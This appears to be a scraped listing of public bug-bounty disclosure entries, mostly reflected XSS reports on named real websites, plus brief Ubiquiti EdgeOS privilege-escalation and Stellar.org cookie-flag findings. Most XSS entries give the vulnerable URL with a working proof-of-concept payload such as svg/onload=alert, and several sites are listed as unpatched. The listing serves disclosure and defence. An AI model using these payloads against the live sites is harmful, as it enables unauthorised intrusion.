gliffy.com XSS vulnerability

Vulnerable URL: https://www.gliffy.com/support/result.php?search=...

services.avnet.com XSS vulnerability

Vulnerable URL: http://www.services.avnet.com/en-us/services/it-asset-management/Pages/it-asset-disposition.aspx?FollowSite=0=%27-confirm/OPENBUGBOUNTY/-%27 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown...

products.amd.com XSS vulnerability

Vulnerable URL: http://products.amd.com/Pages/default.aspx?FollowSite=0=%27-confirm/OPENBUGBOUNTY/-%27 Details: Description| Value ---|--- Patched:| Yes, at 14.11.2017 Latest check for patch:| 14.11.2017 10:43 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

richter.hu XSS vulnerability

Vulnerable URL: https://www.richter.hu/en-US/Pages/default.aspx?FollowSite=0=%27-confirm/OPENBUGBOUNTY/-%27 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 06.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 718091 VIP website status...

outercurve.org XSS vulnerability

Open Bug Bounty ID: OBB-247889 Description| Value ---|--- Affected Website:| outercurve.org Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

info.undp.org XSS vulnerability

Vulnerable URL: https://info.undp.org/gssu/onlinetools/SitePages/Home.aspx?FollowSite=0=%27-confirm'OPENBUGBOUNTY'-%27 Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 18:00 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

sweetcouch.com XSS vulnerability

Vulnerable URL: https://www.sweetcouch.com/search?st=%22%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 68999 VIP website status:| Yes Check sweetcouch.com SSL...

Ubiquiti Inc.: Privilege Escalation using API->Feature

EdgeOS version 1.9.1.1 and prior, consequence of the lack of validation on the input of the Feature functionality, an attacker with access to an operator read-only account and ssh connection to the devices, can escalate privileges to admin root access in the system. The EdgeRouter X firmware...

actonchina.com XSS vulnerability

Open Bug Bounty ID: OBB-247747 Description| Value ---|--- Affected Website:| actonchina.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

search.cas.cn XSS vulnerability

Vulnerable URL: http://search.cas.cn/search Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check search.cas.cn SSL connection:| Grade: F Coordinated Disclosure...

gordonharris.co.nz XSS vulnerability

Vulnerable URL: http://gordonharris.co.nz/brands.php?brandname=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at 24.07.2017 Latest check for patch:| 24.07.2017 09:31 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 521711...

mosakusha.com XSS vulnerability

Vulnerable URL: http://mosakusha.com/cgi-bin/mt/mt-search.cgi?search=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2028613 VIP website status...

rdf-batteryrd.com XSS vulnerability

Vulnerable URL: http://www.rdf-batteryrd.com/search.asp Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check rdf-batteryrd.com SSL...

rittal.co.za XSS vulnerability

Vulnerable URL: http://www.rittal.co.za/de-de/content/de/unternehmen/produktionssttten/companyoverlay.jsp?name=Haiger"'--!confirm/OPENBUGBOUNTY/...

luxurylink.com XSS vulnerability

Vulnerable URL: http://www.luxurylink.com/5star/hotel-deals/caribbean-and-bermuda/%22%27%2D%2D%21 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 319855 VIP website status:| Yes Coordinated Disclosure Timeline:...

chaty-chalupy.malina-reality.cz XSS vulnerability

Vulnerable URL: http://chaty-chalupy.malina-reality.cz/chaty-chalupy-beskydy-hotely.cgi?sort=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017 14:51 GMT Vulnerability type:| XSS Vulnerability status:| Publicl...

addressreport.com XSS vulnerability

Vulnerable URL: https://www.addressreport.com//...

visitsplit.com XSS vulnerability

Vulnerable URL: http://visitsplit.com/fr/search?q=%27;%22%3E;;--%3E%3C/SCRIPT%3E-%3C/style%3E-%3C/title%3E-%3C/BoDy%3E-%3Cmarquee%3E-%3Ch1%3EOmniGooch%3C/h1%3E-%3C/marquee%3E-%3Csvg/onload=alert%27XSSPOSED%27;%3E;%27 Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

Stellar.org: Session Cookie without HttpOnly and secure flag set

vulnerable URL: www.stellar.org The PHPSESSID cookie does not have the HTTPOnly flag set. When a cookie is set with the HTTPOnly flag, it instructs the browser that the cookie can only accessed by the server and not by client-side scripts. This is an important security protection for session...

funyamora.com XSS vulnerability

Vulnerable URL: http://funyamora.com/cgi-bin/4koma/viewlog.cgi?y=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 14434790 VIP website status:| ...